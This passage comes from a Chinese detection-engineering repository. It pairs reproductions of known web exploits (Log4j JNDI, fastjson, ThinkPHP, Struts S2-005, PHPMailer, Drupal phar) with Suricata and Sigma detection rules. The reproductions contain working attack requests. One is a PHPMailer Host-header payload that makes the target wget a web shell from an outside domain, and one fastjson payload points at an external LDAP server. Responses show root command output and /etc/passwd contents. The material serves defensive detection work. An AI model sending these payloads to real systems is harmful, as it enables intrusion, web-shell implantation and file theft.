*$\{\:\:\-l\}$\{\:\:\-d\}$\{\:\:\-a\}$\{\:\:\-p\}* OR *$\{base64\:JHtqbmRp*) AND http.request.referrer:(*$\{jndi\:ldap\:\/* OR *$\{jndi\:rmi\:\/* OR *$\{jndi\:ldaps\:\/* OR *$\{jndi\:dns\:\/* OR *\/$%7bjndi\:* OR *%24%7bjndi\:* OR *$%7Bjndi\:* OR *%2524%257Bjndi* OR *%2F%252524%25257Bjndi%3A* OR *$\{jndi\:$\{lower\:* OR *$\{\:\:\-j\}$\{* OR *$\{jndi\:nis* OR *$\{jndi\:nds* OR *$\{jndi\:corba* OR *$\{jndi\:iiop* OR *$\{$\{env\:BARFOO\:\-j\}* OR *$\{\:\:\-l\}$\{\:\:\-d\}$\{\:\:\-a\}$\{\:\:\-p\}* OR *$\{base64\:JHtqbmRp*))
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1190
Apache Log4j2漏洞利用检测
Log4j漏洞分析
================================================
FILE: Web/long time/T1190-CNVD-2017-02833-fastjson1.2.24远程代码执行.md
================================================
# T1190-CNVD-2017-02833-fastjson1.2.24远程代码执行
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。详细的原理分析:
影响版本:Fastjson1.2.24以及之前的所有版本
## 检测日志
HTTP
## 测试复现
具体测试过程请参考:
```
yml
POST / HTTP/1.1
Host: 172.17.41.103:27760
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/json;charset=UTF-8
Content-Length: 163
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://172.17.42.24:9999/TouchFile",
"autoCommit":true
}
}
```
## 检测规则/思路
### Suricata规则
```
s
alert http any any -> any any (msg:"CNVD-2017-02833-fastjson1.2.24远程代码执行漏洞";flow:established,to_server;content:"POST";http_method;content:"com.sun.rowset.JdbcRowSetImpl";http_client_body;reference:url,jishuin.proginn.com/p/763bfbd290cf;classtype:web-application-attck;sid:3002021;rev:1;)
```
### 建议
流量+安全设备比较容易检测到此攻击行为。
## 参考推荐
MITRE-ATT&CK-T1190
Fastjson‐CNVD‐2017‐02833
Fastjson<1.2.24远程代码执行(CNVD-2017-02833)
Fastjson系列漏洞实战和总结
================================================
FILE: Web/long time/T1190-CNVD-2018-24942-thinkphp5.x任意代码执行漏洞.md
================================================
# T1190-CNVD-2018-24942-thinkphp5.x任意代码执行漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
ThinkPHP 5.0.全版本,经过其他安全人员实际测试,并非针对5.0全版本
实际影响范围:
```
yml
版本名 是否可被攻击 攻击条件
5.0.0 否 无
5.0.1 否 无
5.0.2 否 无
5.0.3 否 无
5.0.4 否 无
5.0.5 否 无
5.0.6 否 无
5.0.7 否 无
5.0.8 是 无需开启debug
5.0.9 是 无需开启debug
5.0.10 是 无需开启debug
5.0.11 是 无需开启debug
5.0.12 是 无需开启debug
5.0.13 是 需开启debug
5.0.14 是 需开启debug
5.0.15 是 需开启debug
5.0.16 是 需开启debug
5.0.17 是 需开启debug
5.0.18 是 需开启debug
5.0.19 是 需开启debug
5.0.20 否 无
5.0.21 是 需开启debug
5.0.22 是 需开启debug
5.0.23 是 需开启debug
```
## 检测日志
HTTP
## 测试复现
更多POC请参考:
```
yml
GET /index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id HTTP/1.1
Host: 172.17.41.103:33349
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Host: 172.17.41.103:33349
Date: Mon, 10 Aug 2020 16:44:19 +0800
Connection: close
X-Powered-By: PHP/7.2.12
Content-type: text/html; charset=UTF-8
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
```
## 检测规则/思路
### Suricata规则
```
s
alert http any any -> any any (msg:"CNVD-2018-24942-thinkphp5.x任意代码执行漏洞";flow:established,to_server;content:"GET";http_method;content:"/index.php/?s=index/";pcre:"/call_user_func_array/";http_uri;reference:url,blog.csdn.net/weixin_40709439/article/details/86564457;classtype:web-application-attck;sid:3002021;rev:1;)
```
### 建议
流量+安全设备比较容易检测到此攻击行为。
## 参考推荐
MITRE-ATT&CK-T1190
thinkphp5.0和5.1 rce poc总结
================================================
FILE: Web/long time/T1190-CVE-2010-1870-S2-005远程代码执行.md
================================================
# T1190-CVE-2010-1870-S2-005远程代码执行
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。S2-005则是绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成漏洞。
影响版本:2.0.0 - 2.1.8.1
## 检测日志
HTTP
## 测试复现
Burp抓包,修改参数
```
yml
?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1
```
## 测试留痕
```
yml
GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/yun%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1
Host: 192.168.60.131:8080
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.60.131:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: pma_lang=zh_CN; pmaUser-1=%7B%22iv%22%3A%22wtmbqwF8evsRAFy6MdC8Og%3D%3D%22%2C%22mac%22%3A%22f9971a0e2275abe89b4ef530bd3450014d701d5d%22%2C%22payload%22%3A%22O%5C%2FIN3WNFI3c21DrYtH7Pug%3D%3D%22%7D; PHPSESSID=57bf9020b21df668496392730ae25830; JSESSIONID=A399DB5AC14D038F86DAD2623E09D1E7
Connection: close
HTTP/1.1 200
Content-Type: text/html;charset=UTF-8
Content-Length: 416
Date: Thu, 22 Oct 2020 01:33:35 GMT
Connection: close-----------------
Struts is up and running ...
Struts is up and running ...
Languages
```
## 检测规则/思路
### Suricata规则
```
s
alert http any any -> any any (msg:"CVE-2010-1870-S2-005";flow:established,to_server;content:"GET";http_method;content:"/example/HelloWorld.action";pcre:"/allowStaticMethodAccess/";pcre:"/xwork.MethodAccessor.denyMethodExecution/";http_uri;reference:url,blog.csdn.net/weixin_43416469/article/details/113849099;classtype:web-application-attck;sid:3002021;rev:1;)
```
### 建议
流量+安全设备比较容易检测到此攻击行为。
## 参考推荐
MITRE-ATT&CK-T1190
Struts2_005_RCE CVE-2010-1870漏洞复现
Apache Struts2远程代码执行漏洞检测与利用S2-005(CVE-2010-1870)
================================================
FILE: Web/long time/T1190-CVE-2016-10033-PHPMailer<5.2.18远程代码执行.md
================================================
# T1190-CVE-2016-10033-PHPMailer<5.2.18远程代码执行
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。也可以把 WordPress 当作一个内容管理系统(CMS)来使用。WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。
影响版本:WordPress <= 4.7.1 PHPMailer < 5.2.18
## 检测日志
HTTP
## 测试复现
具体测试过程请参考:
```
yml
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}shell.php${substr{10}{1}{$tod_log}}www.mzxh.xyz${substr{0}{1}{$spool_directory}}tools${substr{0}{1}{$spool_directory}}shell.php}} null)
Content-Length: 56
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.17.41.103:44397
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.17.41.103:44397/wp-login.php?action=lostpassword
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: close
user_login=admin&redirect_to=&wp-submit=Get+New+Password
HTTP/1.1 302 Found
Date: Wed, 05 Aug 2020 07:59:44 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.21
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=/
X-Frame-Options: SAMEORIGIN
Location: wp-login.php?checkemail=confirm
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
```
## 检测规则/思路
### Suricata规则
```
s
alert http any any -> any any (msg:"CVE-2016-10033-rqs";flow:established,to_server;content:"POST";http_method;content:"/wp-login.php?action=lostpassword";http_uri;content:"Get+New+Password";http_client_body;flowbits: set, first_get_rqs; noalert;reference:url,cloud.tencent.com/developer/article/1043654;classtype:web-application-attck;sid:1;rev:1;)
alert http any any -> any any (msg:"CVE-2016-10033-PHPMailer<5.2.18远程代码执行漏洞";flow:established;content:"302";http_stat_code;flowbits:isset,first_get_rqs;reference:url,cloud.tencent.com/developer/article/1043654;classtype:web-application-attck;sid:2;rev:1;)
```
### 建议
流量+安全设备比较容易检测到此攻击行为。
## 参考推荐
MITRE-ATT&CK-T1190
WordPress 4.6远程代码执行漏洞(CVE-2016-10033)复现环境搭建指南
WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033)复现分析
================================================
FILE: Web/long time/T1190-CVE-2018-2894-Weblogic任意文件上传检测.md
================================================
# T1190-CVE-2018-2894-Weblogic任意文件上传检测
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。
Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在 ‘生产模式’ 下默认不开启,所以该漏洞有一定限制。两个页面分别为/ws_utc/begin.do、/ws_utc/config.do。
漏洞影响范围:
weblogic 10.3.6.0、weblogic 12.1.3.0、weblogic 12.2.1.2、weblogic 12.2.1.3。
## 检测日志
HTTP.log
## 测试复现
漏洞利用建议参考:
Weblogic任意文件上传漏洞(CVE-2018-2894)复现
## 测试留痕
暂无实测,故无留痕。直接引用漏洞利用建议参考中的案例数据进行特征提取。
## 检测规则/思路
### Sigma规则
建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。
```
yml
title: Oracle WebLogic漏洞利用Z
description: 检测对放入WebLogic服务器上密钥库文件夹中的webshell的访问
author: Florian Roth
translator: 12306Bro
date: 2018/07/22
modified: 2020/03/14
status: experimental
references:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2894
- https://blog.csdn.net/weixin_43625577/article/details/97001677
logsource:
category: webserver
detection:
selection:
c-uri:
- '*/config/keystore/*.js*'
condition: selection
fields:
- c-ip
- c-dns
falsepositives:
- Unknown
level: critical
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1190
Weblogic任意文件上传漏洞(CVE-2018-2894)复现
================================================
FILE: Web/long time/T1190-CVE-2019-19781-远程代码执行检测.md
================================================
# T1190-CVE-2019-19781远程代码执行
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Citrix旗下多款交付控制器和网关存在RCE漏洞,攻击者在无需身份验证的情况下就可执行任意命令。根据其他安全网站的说法,这个RCE漏洞会有一个标记漏洞(其中之一的标记),即本次报道的Citrx路径遍历漏洞(CVE-2019-19781)。Citrx路径遍历漏洞(CVE-2019-19781)利用方式的PoC已被公开。该漏洞利用复杂性低,且无权限要求,攻击者只能遍历vpns文件夹,但攻击者可能利用Citrx路径遍历漏洞进行RCE漏洞试探,从而发起进一步精准攻击。
漏洞影响范围:
Citrix NetScaler ADC and NetScaler Gateway version 10.5
Citrix ADC and NetScaler Gateway version 11.1 , 12.0 , 12.1
Citrix ADC and Citrix Gateway version 13.0
## 检测日志
HTTP.log
## 测试复现
漏洞利用过程:
1.pl文件未对NSC_USER参数传入进行过滤
2.触发目录穿越
3.在模板目录的XML文件写入命令
4.模板引擎分析后执行命令
漏洞利用建议参考:
CVE-2019-19781 远程代码执行漏洞复现
Citrix路径遍历(CVE-2019-19781)
## 测试留痕
暂无实测,故无留痕
## 检测规则/思路
### Sigma规则
建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。
```
yml
title: 检测Citrix CVE-2019-19781漏洞利用行为
references:
- https://www.jianshu.com/p/03b175711524
- https://www.jianshu.com/p/03b175711524
status: experimental
logsource:
category: webserver
detection:
selection:
c-uri:
- '*/../vpns/*' #根据此次公开的PoC显示,该洞目录遍历被限制子在vpns文件夹下,任意用户可通过HTTP请求直接访问该目录下的文件。
- '*/vpns/cfg/smb.conf' #根据此次公开的PoC显示,该洞目录遍历被限制子在vpns文件夹下,任意用户可通过HTTP请求直接访问该目录下的文件。
- '*/vpns/portal/scripts/*.pl*' #利用目录穿越写入命令语句到newbm.pl文件中
condition: selection
fields:
- client_ip
- vhost
- url
- response
falsepositives:
- Unknown
level: critical
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1190
================================================
FILE: Web/long time/T1190-CVE-2019-3398-Confluence路径穿越漏洞.md
================================================
# T1190-CVE-2019-3398 Confluence路径穿越漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Confluence Server和Data Center在downloadallattachments资源中存在路径穿越漏洞。 在Page或Blogs具有添加附件权限的用户,或具有创建新空间或个人空间权限的用户,或对某空间具有“管理员”权限的用户可利用此路径穿越漏洞将文件写入任意位置。一定条件下可以执行任意代码。
漏洞影响范围:
2.0.0 <= version < 6.6.13
6.7.0 <= version < 6.12.4
6.13.0 <= version < 6.13.4
6.14.0 <= version < 6.14.3
6.15.0 <= version < 6.15.2
## 检测日志
HTTP.log
## 测试复现
漏洞利用建议参考:
(环境搭建+复现)CVE-2019-3398 Confluence路径穿越漏洞
## 测试留痕
暂无实测,故无留痕。直接引用漏洞利用建议参考中的案例数据进行特征提取。

## 检测规则/思路
### Sigma规则
建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。
```
yml
title: Confluence_CVE-2019-3398漏洞利用行为检测
status: experimental
description: 检测CVE-2019-3398中描述的路径穿越漏洞的利用行为
references:
- https://devcentral.f5.com/s/articles/confluence-arbitrary-file-write-via-path-traversal-cve-2019-3398-34181
- https://blog.csdn.net/qq_40989258/article/details/105274370
author: Florian Roth
translator: 12306Bro
date: 2020/05/26
tags:
- attack.initial_access
- attack.t1190
logsource:
category: webserver
detection:
selection:
cs-method: 'POST'
c-uri|contains|all:
- '/upload.action'
- 'filename=../../../../'
condition: selection
fields:
- c-ip
- c-dns
falsepositives:
- Unknown
level: critical
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1190
(环境搭建+复现)CVE-2019-3398 Confluence路径穿越漏洞
================================================
FILE: Web/long time/T1190-CVE-2019-6339-Drupal远程代码执行漏洞.md
================================================
# T1190-CVE-2019-6339-Drupal 远程代码执行漏洞------
## 来自ATT&CK的描述------
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。------
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。------
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。------
## 测试案例------
Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。人们通常将Drupal拿来和另一个著名的开源CMS,即Joomla进行比较。由于“难度”更大而中文资源较Joomla更少,Drupal在中国的普及程度较Joomla更低。------
Drupal core 7.62之前的7.x版本、8.6.6之前的8.6.x版本和8.5.9之前的8.5.x版本中的内置phar stream wrapper(PHP)存在远程代码执行漏洞。远程攻击者可利用该漏洞执行任意的php代码。------
在Drupal Core版本7.x之前的7.62,8.6.x之前的8.6.6和8.5.x之前的8.5.x; 在对phar://URI执行文件操作时,PHP的内置phar流包装器中存在一个远程执行代码漏洞。一些Drupal代码(core,contrib和custom)可能正在对用户输入执行文件操作,从而暴露于此漏洞。------
## 检测日志------
HTTP------
## 测试复现------
具体利用过程可参考:------
## 测试留痕------
```
yml
POST /admin/config/media/file-system HTTP/1.1
Host: 172.17.41.106:8080
Connection: keep-alive
Content-Length: 340
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.17.41.106:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.17.41.106:8080/admin/config/media/file-system
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,be;q=0.8
Cookie: 8ciy_2132_ulastactivity=1747%2BBj3bIdraT%2FhUrMgbV9hBzsnRDad5PbJ4P8FXwvrlsfGVbOx; 8ciy_2132_nofavfid=1; 8ciy_2132_saltkey=h7AR59Bx; 8ciy_2132_lastvisit=1603172255; SESS69d0dbb3a7ccb7aab441a7efa90bb8ae=WSVdSnEkxmap5tU9TGG21HegyssjX2hEk8BkBOBEyiU------
file_temporary_path=phar%3A%2F%2F.%2Fsites%2Fdefault%2Ffiles%2Fpictures%2F2020-10%2Fblog-ZDI-CAN-7232-cat.jpg&file_default_scheme=public&temporary_maximum_age=21600&form_build_id=form-iN0z3-CojyQl7PlFGKxsy68XNcyvFaBLtQY_ffo-efA&form_token=VUzTpwLaFD0IW9_2rt9ntjULAJ_euh4ZmJkcEJAdEfI&form_id=system_file_system_settings&op=Save+configurationHTTP/1.1 200 OK
Date: Wed, 21 Oct 2020 07:58:45 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.3
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 5215
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
------
File system | drupal
- --------------------------------------------------------------------------------------------------------------------------
------
Skip to main content
------
------
---------------------------------------------------------------------------------------------------------------------------
- --------------------------------------------------------------------------------------------------------------------------
------
------
------
Error message
The directory phar://./sites/default/files/pictures/2020-10/blog-ZDI-CAN-7232-cat.jpg does not exist and could not be created.
---------------------------------------------------------------------------------------------------------------------------------
------
- -----
- --------------------------------------------------------------------------------------------------------------------------
------
------
------
------
------
- --------------------------------------------------------------------------------------------------------------------------
------
------
------
```
- -----
## 检测规则/思路------
### Suricata规则------
```
s
alert http any any -> any any (msg:"CVE-2019-6339-Drupal远程代码执行漏洞";flow:established,to_server;content:"POST";http_method;content:"/admin/config/media/file-system";http_uri;content:"phar%3A%2F%2F.%2Fsites%2Fdefault%2Ffiles%2Fpictures%2F";http_client_body;reference:url,blog.csdn.net/qq_40989258/article/details/104970882;classtype:web-application-attck;sid:3002021;rev:1;)------
```
- -----
### 建议------
流量+安全设备比较容易检测到此攻击行为。------
## 参考推荐------
MITRE-ATT&CK-T1190------
------
(环境搭建+复现) CVE-2019-6339 Drupal远程代码执行漏洞------
================================================
FILE: Web/long time/T1190-Influxdb<1.7.6未授权访问漏洞.md
================================================
